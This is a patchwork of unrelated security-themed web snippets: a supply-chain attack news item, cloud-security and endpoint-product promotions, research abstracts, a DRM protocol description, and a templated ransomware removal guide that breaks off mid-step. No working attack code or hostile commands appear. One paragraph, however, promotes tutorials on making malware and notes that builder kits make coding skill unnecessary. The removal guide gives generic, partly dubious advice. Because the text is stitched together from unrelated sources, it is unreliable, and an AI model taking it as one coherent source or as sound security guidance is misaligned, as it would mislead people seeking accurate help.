indiscriminate campaigns,” it added. ReversingLabs claims this situation is being exacerbated by complacency among third-party suppliers, despite last year’s high-profile MOVEit hack by Cl0p, whose ripple effect saw thousands of targets impacted. “Lacking sufficient visibility, software producers and their customers are failing to spot signs of code tampering and abuse within development pipelines or threats hiding in compiled software artifacts,” it said. Warning that software supply chain attacks will “escalate if organizations don’t address the threat,” ReversingLabs urges businesses to “shift from blind trust” in software integrity and instead use “proven tools and processes that can verify software and ensure it is free of material risks.” It added: “This includes the ability to scan raw code and compiled binaries in any software they build or buy for behaviors and unexplained changes that may indicate instances of malware and tampering.” In the meantime, ReversingLabs expects both profit and politically motivated cyber gangs to continue targeting weak links in the software supplier industry. “Threats and attacks targeting open source and commercial, third-party code will continue to grow, even as the methods and preferences of malicious supply chain actors evolve,” it said. “Both cybercriminal and nation-state hackers can be expected to gravitate to platforms and techniques that are the most likely to succeed.” More from Cybernews: Subscribe to our newsletter
Building Azure IaaS environment and ALM Integration Azure Resource Manager (ARM) brings a new look into the infrastructure that supports our application's environment, we do not think of our applications,VMs, SQL Servers, Storage... as silos anymore but rather a group of resources that deploy as a single entity and share the same lifetime. ARM allows us to define an Azure infrastructure-as-code by authoring JSON templates. This might seem like a little thing, but capabilities like these are at the heart of the new ALM transformation. We'll be integrating ARM infrastructure as part of the development of our software applications, how to code an Azure environment (Network, Security,infrastructure, VMs…) where our applications will live,then deploy all that as part of our application continuous deployment process to produce the same output every time with no last minute surprises. • ARM Overview • Design and Build Virtual Network using the portal • Build Network Security Group and firewall rules using PowerShell • Creating VMs using the portal and PowerShell • ARM Template Deployment using Visual Studio and ALM Integration
The response object In response filters, this object is available as context.response. It contains a representation of the response from the HTTP server, and has the following properties: request (object): the request object, also obtainable as context.request responseCode (int): the HTTP status code from the server. Usually 200 indicates success, but there are many other codes. responseMessage (string): the HTTP response message from the server, usually something like "OK" or "Not Found" body (byte array): the body of the response, if present bodyString (string): the body of the response (if present) as a UTF-8 string payload (byte array): the body of the response, if present payloadString (string): the body of the response (if present) as a UTF-8 string. If the body is not a string, this property should not be accessed. payloadStream (object, read-only): returns a Java InputStream that can be used to read the content of the payload. payloadWriteStream (object, read-only): returns a Java OutputStream that can be used to write to the payload. In addition, the response object has the following methods: string getResponseHeader(string name): returns the value of the specified HTTP header, if present. The name is case-insensitive. boolean hasResponseHeader(string name): returns true if the specified header is set void setResponseHeader(string name, string value): sets the value of the specified HTTP header string getPayloadString(string enc): gets the request's payload as a string decoded using the specified encoding, e.g. UTF-16 or ISO-8859-1. void setPayloadString(string value, string enc): sets the request's payload to the given string, encoding it according to the provided encoding, e.g. UTF-16 or ISO-8859-1. Change a header in the response Change the body of a response Change the URLs coming back from the server to point to the Gallium Data proxy, and not the actual HTTP server.
AnalyzingBorderGatewayProtocol(BGP)instancesisacrucialstep in the design and implementation of safe BGP systems. Today, the analysis is a manual and tedious process. Researchers study the instances by manually con- structing execution sequences, hoping to either identify an oscillation or show that the instance is safe by exhaustively examining all possible sequences. We propose to automate the analysis by using Maude, a tool based on rewriting logic. We have developed a library specifying a generalized path vector protocol, and methods to instantiate the library with customized routing policies. Protocols can be analyzed automatically by Maude, once users provide specifications of the network topology and routing policies. Using our Maude library, protocols or policies can be easily specified and checked for problems. To validate our ap- proach, we performed safety analysis of well-known BGP instances and actual routing configurations.
Comprehensive AWS Infrastructure Security Comprehensive AWS Infrastructure Security with Slik Protect With the rise of cloud technology, Amazon Web Services (AWS) has become one of the most popular cloud computing services in the world. With AWS, businesses can build and deploy applications quickly, scale easily, and pay only for what they use. However, with the increased use of AWS, security concerns also arise. AWS provides a secure infrastructure, but it is still the responsibility of the customer to ensure the security of their applications and data. This is where Slik Protect comes in - a comprehensive security solution for AWS infrastructure. What is Slik Protect? Slik Protect is a cloud security platform that provides threat detection, log analysis, and compliance management for AWS. It is designed to provide complete protection for your AWS infrastructure and prevent security breaches before they occur. Slik Protect’s Threat Detection feature provides real-time monitoring of your AWS infrastructure and detects any suspicious activity. It uses machine learning to analyze different patterns of behavior and identifies any unusual activity. For example, if there is an unusual spike in traffic to your AWS infrastructure, Slik Protect will detect it and alert you. It will also provide suggestions for remediation to prevent the attack from happening. Log Analysis is another important feature of Slik Protect that helps in monitoring your AWS infrastructure for any security breaches. It collects logs from different sources such as AWS CloudTrail, VPC Flow Logs, and AWS Config Logs and analyzes them for any suspicious activities. With Slik Protect’s Log Analysis, you can easily identify any access attempts from unauthorized users or any unusual modifications to your AWS infrastructure. It also keeps a complete audit trail of all activities, providing additional visibility into the security of your infrastructure. Compliance Management is a critical feature of Slik Protect that helps in ensuring your AWS infrastructure is compliant with industry regulations such as HIPAA, PCI-DSS, GDPR, and more. Slik Protect automates compliance monitoring and reporting, reducing the time and effort required for compliance. Slik Protect provides predefined compliance checks that help in identifying any security gaps and helps in fixing them before they become issues during compliance audits. It also provides a dashboard that provides a summary of your compliance status, making it easy to track your compliance progress. Secure and Easy-to-Use Slik Protect is designed to be easy to use and provides a very user-friendly interface. It can be set up quickly and starts monitoring your AWS infrastructure right away. Slik Protect also provides secure access to your AWS infrastructure, ensuring that no unauthorized access occurs. Slik Protect is a cloud-native solution that scales with your AWS infrastructure, allowing you to secure your AWS infrastructure as it grows. It is also designed to work seamlessly with your existing AWS infrastructure, making integration easy. In conclusion, Slik Protect is a comprehensive security solution for any business that uses AWS infrastructure. It provides real-time threat detection, log analysis, and compliance management that helps in ensuring the security of your AWS infrastructure. With its easy-to-use interface and secure access, Slik Protect is the ideal solution for businesses looking to secure their AWS infrastructure. Slik Protect helps in identifying any security gaps and helps in fixing them before they become issues during compliance audits. It is the perfect solution for businesses that need to comply with regulations such as HIPAA, PCI-DSS, or GDPR. If you’re looking for a secure and easy-to-use solution to secure your AWS infrastructure, Slik Protect is the answer. It is the ideal security companion for any business that takes their security seriously. Visit our website to learn more about Slik Protect and how it can help you secure your AWS infrastructure.
Most Organizations today are looking at Hybrid Cloud as their roadmap when it comes to IT infrastructure. The great news is that the industry is now offering more choices to organizations in further enhancing and improving their IT Infrastructure. But as most organizations move towards a hybrid cloud setup, we must not overlook new security challenges that the business will encounter. This is where Hybrid Cloud Security comes in. Hybrid Cloud Security focuses on securing hybrid cloud using various techniques and technology. Gone are the days of malwares being used by hackers to attack critical servers, attackers are now taking advantage of vulnerabilities found on Operating Systems, Applications, etc. which allows them to take over server accessibility. Vendors release patches for vulnerabilities, especially when they’re considered critical. However, not all organizations and users apply them, or apply them immediately, since applying patches have to go through several phases such as: Testing, Scheduling the deployment on servers depending on criticality, Begin Deployment on each server, Complete Deployment. During these times, it then leaves the organization being exposed to potential attacks. Also, organizations are hesitant to patch servers as it requires rebooting the server. This means there will be downtime that may cause issues on operations. These concerns on patching can be addressed by technologies like virtual patching that can help compliment patch management tools. Virtual Patching can help shield known and unknown vulnerabilities by applying virtual patch rules and gives time for the organization to complete testing without the worry of being exposed to potential attacks.
The present document specifies the Voice Activity Detector (VAD) used in the Discontinuous Transmission (DTX) of the EVS Codec. Although the main application of the VAD algorithm is the detection of speech or voice signals, the algorithm is more accurately described as a Signal Activity Detection (SAD) algorithm. The present document is a high level overview of the functionality with reference to the Codec Detailed Algorithmic Description where the functionality is specified in detail.
How to make malware tutorials are very effective if you are new to the malware research industry. These tutorials can guide you forward on understanding how malware is actually created. It also provides a view on most common used functionalities in malware. In this post, we have listed down the best how to make malware tutorials that you can currently find on the web. The tutorials provided, will guide you, step by step, on how to make malware. Well, if you know how to code, this can be extremely helpful, but in 2019, it is not needed for you to know how to code in order to make malware. Most of the malware samples you see in the wild have been created with malware builder kits. These kits contain code that allow the user of the kit to construct a piece of malware that will contain the configuration of the user.
Indian Journal of Science and Technology Year: 2019, Volume: 12, Issue: 25, Pages: 1-7 Ahmad Ridha Jawad1, Khaironi Yatim Sharif1 and Ammar Khalel Abdulsada2 1Universiti Putra Malaysia, Faculty of Computer Science and Information Technology. Jalan UPM, 43400 Serdang, Selangor, Malaysia; [email protected], [email protected] 2Department of Computer Science, College of Education, University of Kufa, Kufa City, Najaf, Iraq; [email protected] Author for correspondence Ahmad Ridha Jawad Universiti Putra Malaysia, Faculty of Computer Science and Information Technology. Jalan UPM, 43400 Serdang, Selangor, Malaysia; [email protected] Objectives: This study aimed to design an application that effectively scans, detects, and removes malware based on their signatures and behaviours. Methods/Statistical analysis: The rapid growth in the number and types of malware poses high security risks despite the numerous antivirus softwares with Signature-Based Detection (SBD) method. The SBD method depends on the signatures or malware names that are available in the algorithm database. Findings: Malware is a type of malicious software that poses security threats to the targeted system, resulting in information loss, resource abuse, or system damage. The antivirus software is one of the most commonly used security tools to detect and remove malware. However, the malware defences should focus on the malware signatures since there is no universal way of recognising all malware. Therefore, this study suggested N/A detection technique as the dynamic method (behaviour-based detection method) that depends on the Windows Registry (system database). Both static and dynamic detection methods were assessed in this study. Based on the experimental outcomes, SBD method detected and removed most of malware (only known viruses). Application/Improvements: Meanwhile, the N/A detection method detected and removed all injected malware (known and unknown Trojan horse) within a relatively low running time. Keywords: Dynamic Method, Malicious Software, Malware Detection, Signature Analysis, Static Method Subscribe now for latest articles and news.
The Darkblock Protocol uses a decentralized network of nodes to control access to digital content associated with NFTs. It can be thought of as a new method of DRM that puts creators in control of distribution and monetization of their content, giving them the freedom to determine business models that work best for them. To create access controlled content, creators will first reach out to the network to create an encryption key, use this encryption key to encrypt the content and create an Arweave transaction with specified metadata tags, and setting the encrypted content as a payload. The specification of this transaction can be found in the appendix. Each node in the network has a REST API that can be leveraged to issue encryption keys and act as a proxy to decrypt content that is stored on Arweave in encrypted form. Each node will have a device-level symmetric key and an asymmetric public/private key pair both created when it first initializes that is used to store keys and metadata securely, as well as communicate securely with other nodes. Each node will employ a TEE that remotely attests it is running verified software in a secure manner in order to join and participate in the network. To create protected content, a user will query Arweave to get a list of verified nodes. It will then reach out to a node to request an encryption key and associated generated UUID that is generated for each piece of content. That encryption key will be encrypted and stored on Arweave to make it available to other nodes and referenced by the UUID. For proper redundancy, the issuing node will have a list of other devices in the network along with their RSA public keys. It will encrypt the content-specific AES-256 key with the device-level RSA public key from X different nodes and place that data in Arweave. Potentially we can use hierarchical deterministic key generation to reduce the need for redundant key storage. We are also exploring threshold techniques to decrease reliance on external storage of keys, and require a number of nodes to work together to access content, thus increasing security. To decrypt the content, a client application needs to supply a proof of access (signed message) and an encryption key to deliver the content securely. The client retrieves an enclave's public key and encrypts and securely sends the proof and encryption key. If access is proven by the network (through verification by a 3rd party service or on-chain) the content is retrieved by the TEE and decrypted securely inside the enclave, then re-encrypted using the client application supplied key. Final decryption happens client-side using the client-generated key. The result is effective, but not provable, end-to-end encryption. In v2.1 we will move the re-encryption process outside the TEE using a new symmetric re-encryption process. Instead of doing the re-encryption inside the TEE we will create a transformation key inside the TEE and then export it for use outside the TEE. This transformation key would atomically re-encrypt data without being given access to it. This will allow us to scale the delivery of content to a simpler layer that does not have the same security requirements. But our holy grail is to move everything outside the TEE. We have ideas for that, but that will probably be v3.
The CyberPeace Institute in Action The report that follows has been developed to showcase how the CyberPeace Institute would operate in response to, and in the wake of a significant cyber incident. To illustrate how each of the Institute’s three functions would come into play once the organization is fully operational, this case study is built around a fictional global ransomware attack called “WreckWeb.” Based on several real world precedents, this fictional account walks the reader through each of the Institute’s functions from the perspectives of the individuals who would be tasked with leading the Institute’s efforts: assisting vulnerable victims, conducting attack analyses, and sharing their findings. In order to capture the nature, scale and impact of such a global cyberattack, the report begins by highlighting in particular the consequences of the 2017 “NotPetya” attack and the gaps in the international response. While NotPetya was chosen as one prominent example, similar events take place with increasing frequency each passing year and underline the core mission of the Institute to operate in response to attacks that cause “significant and direct harm on civilians and/or civilian infrastructure.” Disclaimer: For the purposes of this report, there are presumptions made about how particular individuals and organizations might engage with the work of the CyberPeace Institute. This is purely to illustrate how the Institute would operate, and is not meant to reflect actual commitments or obligations by third parties. The employees and activities of the CyberPeace Institute included in the report are also fictitious, but based on anticipated behaviors. Ultimately, this case study provides exemplary context for how we envision the CyberPeace Institute would partner with others, operate efficiently and effectively, and add unique value to the ecosystem going forward to support a more safe and secure cyberspace. The CyberPeace Institute is an independent, non-profit organization with the mission to enhance the stability of cyberspace. It does so by supporting vulnerable communities, analysing attacks collaboratively, and advancing responsible behaviour in cyberspace. © Copyright: The CyberPeace Institute
Email security (from Q1/2024)[Link] SPF (Sender Policy Framework) is an email authentication standard that helps protect senders and recipients from spam, spoofing, and phishing. By adding an SPF record to your Domain Name System (DNS), you can provide a public list of senders that are approved to send email from your domain DMARC (Domain-based Message Authentication, Reporting & Conformance) is a standard that prevents spammers from using your domain to send email without your permission — also known as spoofing. Spammers can forge the “From” address on messages so the spam appears to come from a user in your domain To prevent threats to your domain like cache poison attacks and DNS spoofing, set up DNS Security Extensions (DNSSEC). Even if the domain name isn’t used for sending mail, it’s important to implement these standards, so the domain name can’t be abused. We assess registrars on the presence and correctness of SPF and DMARC for each domain name. SPF is evaluated on the presence of ‘-all’ or ‘~all’. DMARC is evaluated on the presence of ‘p=quarantine’ or ‘p=reject’. How can you improve your score[Link] Implement SPF and DMARC for the domain names. DNSSEC domains with SPF and DMARC[Link] Percentage of domain names with all security standards implemented (DNSSEC, SPF and DMARC). At this time, we don’t count DNSSEC for your overall score. Domains with SPF[Link] Percentage of domain names with a SPF record. Domains with DMARC[Link] Percentage of domain names with a DMARC record.
Designed to provide comprehensive protection to help automotive OEMs get the upper hand on some of the most sophisticated cyberattacks, the solution combines C2A´s cybersecurity software and NXP´s secure CAN transceivers. Working in collaboration with NXP Semiconductors, the teams identified possible CAN bus-related attack vectors for perimeter devices which resulted in a new software-hardware solution. The combined solution allows OEMs to leverage both the software and hardware security capabilities of C2A and NXP to cover attack vectors that were previously difficult or impossible to address. This new synergetic solution consists of: - NXP's Secure CAN Transceiver, which helps detect and prevent malicious activity on the vehicles CAN bus. - C2A’s Stamper, a decentralized firewall for the CAN bus, which adds a patented security layer for CAN bus communication; - C2A’s SecMon Intrusion Detection and Prevention Software (IDPS), which detects potentially malicious activity by combining deterministic and machine learning capabilities, and then uses state-of-the-art in-vehicle SOC to enable an appropriate response. According to C2A, it is critical that OEMs have the ability to provide an optimal defense against cyber threats. The synergetic C2A/NXP solution enables automotive manufacturers to provide a high level of protection from CAN bus cyberattacks, especially on the perimeter where the attack surface is the largest. More information: https://c2a-sec.com/
SentinelOne is an endpoint detection and response (EDR) solution that provides businesses and organizations with real-time protection against cyber threats. SentinelOne uses a combination of artificial intelligence (AI) and behavioral analysis to detect and respond to threats in real-time, without relying on signatures or definitions. One of the key features of SentinelOne is its ability to detect and respond to threats in real-time. The solution uses AI to analyze the behavior of all processes and files running on an endpoint, and can detect and respond to threats in milliseconds. This means that SentinelOne can protect against zero-day threats and advanced persistent threats (APTs) without relying on prior knowledge of the threat. Another key feature of SentinelOne is its ability to provide a complete view of the endpoint security posture. The solution can provide visibility into all processes and files running on an endpoint, as well as all network connections and communications. This allows security teams to quickly identify and investigate any suspicious activity on the endpoint. In addition, SentinelOne has a built-in incident response capabilities, it allows security teams to quickly contain and remediate threats on the endpoint. The solution can also rollback any changes made by a threat, so that the endpoint can be restored to its previous state. SentinelOne also integrates with other security solutions, such as SIEM, SOAR and EMM, to provide a more comprehensive security posture. This allows security teams to correlate data from different sources and respond to threats more effectively. One of the benefits of SentinelOne is its ease of deployment and management. The solution can be deployed in minutes and does not require any additional hardware or software. SentinelOne also provides a single console for managing all endpoints, which makes it easy for security teams to monitor and respond to threats. Overall, SentinelOne is a powerful EDR solution that provides real-time protection against cyber threats. Its ability to detect and respond to threats in real-time, complete visibility into endpoint security posture, built-in incident response capabilities, and easy deployment and management make it a valuable tool for security teams.
Attacking an obfuscated cipher by injecting faultsAuthors: M. Jacob, D. Boneh, and E. Felten We study the strength of certain obfuscation techniques used to protect software from reverse engineering and tampering. We show that some common obfuscation methods can be defeated using a fault injection attack, namely an attack where during program execution an attacker injects errors into the program environment. By observing how the program fails under certain errors the attacker can deduce the obfuscated information in the program code without having to unravel the obfuscation mechanism. We apply this technique to extract a secret key from a block cipher obfuscated using a commercial obfuscation tool and draw conclusions on preventing this weakness. In proceedings of the 2002 ACM Workshop on Digital Rights Management Full paper: PDF [first posted 12/2002 ]
In this blog post, we’ll explore What is Hybrid Cloud Security why they’re important, what are the hybrid cloud security concerns, solutions, and challenges What is Hybrid Cloud Security Hybrid cloud security is a form of security that is specifically designed to protect data, applications, and infrastructure in a hybrid cloud environment. A hybrid cloud is a combination of two or more cloud computing environments, typically public and private clouds, that are integrated together to provide a seamless experience for users. Hybrid cloud security encompasses a range of security measures, including network security, access control, data protection, and compliance. One of the main challenges of hybrid cloud security is ensuring that data and applications are secure across different cloud environments with different security protocols. To address this challenge, hybrid cloud security typically uses a combination of security technologies and best practices, including firewalls, intrusion detection and prevention systems, encryption, virtual private networks (VPNs), and identity and access management (IAM) systems. Another important aspect of hybrid cloud security is compliance. Compliance requirements may vary depending on the industry, the types of data being stored or processed, and the regulatory environment. Hybrid cloud security must be designed to meet these requirements and provide auditability and visibility into security events. Benefits of Hybrid Cloud Security Hybrid cloud security offers several benefits, including: - Scalability: Hybrid cloud security allows organizations to scale their security measures as their needs grow and change. - Flexibility: Organizations can choose which workloads and data to keep on-premises and which to move to the cloud, allowing for greater flexibility. - Cost savings: By leveraging public cloud services for non-sensitive data, organizations can reduce costs associated with on-premises infrastructure. - Improved security: Hybrid cloud security provides a holistic approach to security, ensuring that data and applications are secure across different environments. - Compliance: Hybrid cloud security can help organizations meet compliance requirements by providing auditability and visibility into security events. hybrid cloud security concerns Hybrid cloud security concerns revolve around data protection and compliance, as organizations must ensure that their data and applications remain secure across different cloud environments. Challenges include managing access control, encryption, and identity management, as well as addressing regulatory compliance requirements. Hybrid cloud security must also address the risks associated with data transfer between public and private clouds, as well as the potential for cloud provider outages. In addition, organizations must ensure that their security measures are integrated and consistent across different cloud environments to avoid security gaps. Overall, addressing these concerns is crucial for ensuring the success of hybrid cloud deployments. What are the hybrid cloud security solutions? Hybrid cloud security solutions can address the challenges and concerns of securing data and applications in a hybrid cloud environment. One solution is to leverage security technologies such as firewalls, intrusion detection and prevention systems, encryption, and virtual private networks (VPNs). Another solution is to implement identity and access management (IAM) systems to manage user access and authentication across different cloud environments. Additionally, organizations can use data classification and management tools to ensure sensitive data is properly secured and controlled. Compliance and auditability can also be addressed through regular security assessments and by implementing automated security monitoring and reporting. Organizations can also use hybrid cloud security providers who specialize in securing data and applications across different cloud environments. Ultimately, effective hybrid cloud security solutions require a comprehensive approach that considers the unique security needs and compliance requirements of each organization. what are the hybrid cloud security challenges? Hybrid cloud security faces several challenges, including: - Data protection: Ensuring that data remains secure and protected when transferred between different cloud environments. - Access control: Managing user access and authentication across different cloud environments. - Identity management: Ensuring that users and devices are properly identified and authenticated across different cloud environments. - Compliance: Meeting regulatory and compliance requirements across different cloud environments. - Integration: Ensuring that security measures are integrated and consistent across different cloud environments. - Cloud provider outages: Addressing the risks associated with cloud provider outages and disruptions. Addressing these challenges requires a comprehensive approach that considers the unique security needs and compliance requirements of each organization. hybrid cloud security risks Hybrid cloud security risks include data breaches, unauthorized access, loss of data or services, and compliance violations. These risks can arise from various sources, such as vulnerabilities in cloud infrastructure or applications, misconfigured security controls, weak access controls, or human error. Additionally, the use of multiple cloud providers can increase the risk of supply chain attacks or the complexity of managing security across multiple environments. Mitigating these risks requires a comprehensive approach that includes implementing appropriate security measures, conducting regular security assessments and audits, and ensuring that all personnel is trained on proper security protocols. Ultimately, organizations must remain vigilant and proactive in addressing hybrid cloud security risks to protect their data, applications, and infrastructure. hybrid cloud security is essential for organizations that are leveraging multiple cloud environments. It ensures that data, applications, and infrastructure are secure and compliant, while also enabling organizations to take advantage of the scalability, flexibility, and cost savings of cloud computing. You May Also Like: want to know more about vSAN please go through the official website Vmware For the next blog please connect with us and follow us on twitter.com/einfonett
An overwhelming majority of organizations are already adopting the multi-cloud strategy, according to one software company’s “State of the Cloud Strategy Survey” (2021) report. Around 75 percent are already using multi-cloud, while some 86 percent say that they are set to become multi-cloud operators in the next two years. This shift towards the multi-cloud environment naturally calls for changes in the way organizations establish and maintain their security posture. Conventional strategies and approaches no longer suffice. Traditional ways of detecting, mitigating, and preventing threats are no longer that effective in view of the new systems that organizations have embraced as go to the cloud. The rise of Cloud-Native Application Protection Platform Before discussing the key points on why cloud-native is the direction that is set to be the norm for cybersecurity, it is important to mention Cloud-Native Application Protection Platform (CNAPP) and its impact on the current situation of the cybersecurity industry. Introduced by Gartner in 2021, CNAPP is a relatively new cybersecurity model that brings together different established models including Cloud Security Posture Management (CSPM), Cloud Workload Protection Platform (CWPP), Cloud Service Network Security (CSNS), as well as Cloud Security Entitlement Management (CIEM). CNAPP provides a single holistic platform that combines the benefits of the aforementioned cybersecurity categories. It focuses on cloud-native security to address the issues or weaknesses associated with using a hodgepodge of security tools. It is designed to achieve full security visibility and coverage for all cloud assets. Additionally, it is capable of detecting risks across the entire tech stack, spanning the areas of cloud configuration up to the management of workloads and identities. CNAPP is still new, but many security firms and institutions are already offering solutions based on it. A quick search on Google News would show several announcements for the launch of CNAPP products by multiple security firms. Addressing the changing needs of multi-cloud environments The use of multiple clouds is good for operational resiliency. However, it creates complexity in security management, as having different cloud providers entails different capabilities and tool sets suitable for their specific configurations, components, and environments. There have been solutions created for different cloud security needs, like the CSPM, CWPP, and CSNS mentioned earlier. However, separately, these were viewed as limited to compliance and vulnerability identification purposes in the context of multi-cloud security. They help in seeing and comprehending the risks involved, but they were not exactly designed to ensure full network visibility to ensure rapid detection and response. Some security firms have developed on-prem/non-cloud network detection and response solutions to secure multi-cloud environments in ways that make up for deficiencies in conventional defensive systems. The problem is that these are not as scalable and manageable as organizations would like them to be. Since their functions are being provided as individual or segregated cloud solutions, it is difficult to use them as cohesive and easy-to-monitor security controls. There are efforts to resolve the scalability and manageability issues through traffic mirroring and other complex methods, but these prove to be very expensive and hard to set up especially for organizations with extensive cloud usage. Their reliance on packet capture also impairs security visibility because of the inevitable need for encryption. In other words, existing multi-cloud security solutions left much to be desired before the introduction of CNAPP. Its emphasis on cloud-native makes it the best solution for achieving improved visibility and implementing tighter controls. The push toward cloud-native security Conventional cybersecurity usually follows the Castle-and-Moat model, wherein only those inside are able to access data and everyone outside is prevented from gaining access. This means that insiders and those that have been granted access previously are presumed to be trustworthy. For this model to work, it is important that the security parameters are well-defined. A small configuration error or the granting of privileges to someone or a service that appeared previously harmless (but is actually a well-disguised threat actor) is enough to make the entire defense system break. Still, even with the best efforts in defining parameters, this approach is not suitable in the modern enterprise setting with the kind of cloud-native workloads organizations are dealing with. It is important to bring security to the cloud-native level by bringing together continuous integration/continuous delivery (CI/CD) pipelines to establish defenses in both public and private clouds as well as on-premises. This is what CNAPP is built for, with its inherent cloud-native infrastructure, and this is where modern cybersecurity focus is heading. As many cybersecurity pundits also suggest, it is time to embrace zero-trust security. This is completely different from the Castle-and-Moat approach, as it eliminates all presumption of safety. Everyone and everything inside and outside are deemed potentially harmful, so they are subjected to rigorous evaluation. The zero-trust concept is baked into the CNAPP system to ensure optimum cloud defense. The benefits of cloud-native security The advantages of cloud-native security can be summed up by the three major components of CNAPP and how their integration boosts each other’s functions in the overall security posture of an organization. The integration of CSPM, CWPP, and CSNS results in significantly improved visibility, tighter controls in view of emerging threats, and end-to-end cloud-native security integration across all workloads, which could not be achieved if these security models were deployed separately and independently. CSPM provides the tools necessary to automate threat detection and remediation. It comes with automated compliance and security evaluation functions, as well as the ability to spot configuration errors or misconfigurations that can possibly be exploited to breach defenses. CSPM ensures in-depth cloud visibility with its ability to inventory cloud assets across platforms (SaaS, PaaS, IaaS, etc.) and sort them accordingly. CWPP addresses the new kinds of threats that target modern workloads. It allows organizations to integrate different security solutions continuously and in the early stages of the app lifecycle. It scans the workloads of an organization both on the cloud and on-premises, then examines them to identify security issues and apply the appropriate solutions. CWPP comes with a host of workload security functions including network segmentation, malware detection, and runtime protection. Meanwhile, CSNS provides next-generation firewall, load balancing, Denial of Service protection, SSL/TLS inspection, and Web Application and API protection tools to secure cloud-native networks. It is vital in ensuring cloud security with its dynamic network perimeters that can enable granular segmentation to defend cloud assets from attacks across different directions. Keeping up with the needs of the times Becoming cloud-native is a matter of responding to needs, not getting in line with the trends. As more organizations embrace the multi-cloud strategy, they unavoidably take in the complexities and new risks that come with it. Conventional defense strategies are no longer effective because of the increasing complexities of infrastructure and workload management. Cloud-native security brings cyber protection to a level that is in tune with new needs and challenges. It is further enhanced with the rise of CNAPP, which maximizes the benefits of cloud-native security solutions by integrating them with each other to significantly improve visibility and seamlessly adopt zero-trust security and the implementation of tighter controls against emerging threats.
The Federal Desktop Core Configuration (FDCC) is a U.S. Office of Management and Budget (OMB) mandate that requires all federal agencies to standardize approximately 300 settings on each Windows XP and Vista computer. This mandate was introduced to strengthen security by reducing the attack surface available to sophisticated adversaries to comprimise federal government systems. By enforcing a whitelist of authorized software and memory processes, CoreTrace Bouncer’s advanced threat protection complements the FDCC mandate. Preventing the execution of all unathorized applications and processes prevents malware directly, but it also provides protection against unknown vulnerabilities that can lead to system exploitation and serve as a staging point for additional compromises on other systems. Bouncer helps federal agencies protect information and ensure configurations by preventing the installation or execution of unauthorized applications. This application control minimize the risk of malicious, illegal and unauthorized software that can create vulnerabilities and enable targeted attacks. - Application whitelisting to ensure only authorized software is allowed to run – blocking ALL unauthorized software. - Advanced memory protection. - Prevention of software configuration drift from a known good state. - Reports of new software installed from trusted sources or preventatively blocked.
Ways To Delete Gomme Ransomware (.gommemode Files) Identified as a new severe threat, Gomme Ransomware (.gommemode Files) is completely a deceptive malware program that enters the system secretly and locks all of your files to make you turning into customers. It will introduce a ransom note on PC desktop or in another secret location of partitions to hide it from naked eyes of users. So, it’s hardly possible for a victimized users to detect this threat in real time to protect their PC instantly, but sooner they identify the infection as their files or all other kinds of PC data will be encrypted. If you try accessing them simply, the employed ransom note will appear on screen every time and display your system is highly infected now and needs to be treated in order to make your system running efficiently like ever. So, the impact of this ransomware program termed as Gomme Ransomware (.gommemode Files) is highly deceptive and should never be trusted as well as it’s highly recommended not to pay the asked ransom otherwise you may get financially deceived as well. How Gomme Ransomware (.gommemode Files) comes and get installed? How it works? The propagation and installation of Gomme Ransomware (.gommemode Files) like infections on a computer is really undetectable because the users and their own conducts are found responsible in most of the cases. Since most of the malware intrusions happens through bundled objects carried over the internet by malicious webpages or spam emails, and even some brought fake advertisements which the user can easily click over believing them some true values. So a user must be protected against these invasions by assuring their system protected via a powerful mechanism like a highly empowered antivirus program or an antimalware program beside it as well. After the successful intrusions on Windows based computer, Gomme Ransomware (.gommemode Files) starts to scan and find the list of all saved and encrypt-able files over PC partitions. After this, it applies the employed cryptographic algorithms to all those detected files and generate an access code for their decryption which further is stored on remote server controlled by cyber criminals or the developers who just established this vermin for their cyber crime purposes. But in all these cases, all such losses are credited to users and they are even forced by regular messages to make the payment in limited time, otherwise the files will be permanently deleted after a specified time. If you are one of the victim and confused regarding what to do, then get through the instructions and learn how to remove Gomme Ransomware (.gommemode Files) easily and getting all your encrypted files back in action. Simple Steps to Remove Gomme Ransomware (.gommemode Files) from PC Method A: Eliminate Gomme Ransomware (.gommemode Files) and all its related files using Manaul Removal Trick Method B: Simple process to Uninstall Gomme Ransomware (.gommemode Files) using Automatic Removal Method Manual Removal Instruction to eliminate Infectious Malware - Remove malware and suspicious program from Control Panel - Clean the Windows Registry through Registry Editor - Remove the malicious domain from Homepage and set a new Homepage - How to Reset Browser for complete malware protection Use Control Panel to Delete Gomme Ransomware (.gommemode Files) and other malware threats from PC From Windows XP/7 - Boot your PC and continuously press “F8” key to open the System is “Safe Mode”. In “Safe Mode”, the size of icons such as OS shortcuts looks bigger than usual. - Roll the mouse click at the bottom left corner of the desktop and open the “Start” button. - The “Start Menu” will be displayed on clicking the “Start” button. Select the “Control Panel Option. - The “Control Panel” Window will be displayed over screen. Select “Uninstall a Program” option in “Program” category. - The next window is the “Uninstall a Program” feature where all the installed programs in System hard-disk will be displayed. Select all the suspicious programs and click on “uninstall” button. It is recommended to delete all the recently programs and services. Click on “Install On” column to see the date of installed program. Scroll the list of recently downloaded programs and uninstall them. From Windows 8/10 - Boot the PC in “Safe Mode and Networking”. - Open “Run” Window and Type “appwiz.cpl” and then press “Enter”. - “Uninstall or Change a program” window appear on the screen. - Search the list of installed program files carefully and select Gomme Ransomware (.gommemode Files) and other suspicious files if present. Press on “Uninstall” button in order to delete them permanently. Remove Gomme Ransomware (.gommemode Files) from Windows Registry Step1. Close all the open program and files in your PC. It is recommended to save all the important data in external hard-drives. Next, press on Windows+R button together. Step2. The “Run” Window will appear on the screen. Type “regedit” in the given space and click on “OK button. Step3. Open the “Registry Editor” and interact with it carefully. Check the every hives of registry tree cautiously and remove Gomme Ransomware (.gommemode Files) entries one by one. Step4. Press on “OK” option to confirm the removal. Set a new Homepage in Browser Know How to set a new homepage in Google Chrome - Open Google Chrome. - Visit the top right corner of the browser and click on Menu or More icon option. - Scroll down the “Appearance” option and check on “Show Home Button”. - Next step is to click on change hyperlinks option. Set the legitimate search engine such as Google, or Yahoo as homepage. Set New Homepage in Firefox Mozilla - Open Firefox Mozilla and click on the Menu option present at the top right corner of the screen. - Click on Option and then proceed to preferences. - Go to General Panel. On startup box of Homepage, click on restore to default option. - Close about: preferences page. All the modification made by you will automatically get saved. Set New Homepage in Internet Explorer - Launch the Internet Explorer and click on Tool Button. - Choose Internet Options. Move to Homepage settings in General tab and set the new homepage such as Google.com or msn.com etc. The desired domain will automatically become the default homepage. - Press on “Apply” Button and click “OK”. ‘ Reset Browser to delete Gomme Ransomware (.gommemode Files) (Optional) Reset Google Chrome - Open Google Chrome and click on “Customize and Control Google Chrome” button and go to settings. - Go to advance settings> click on Reset 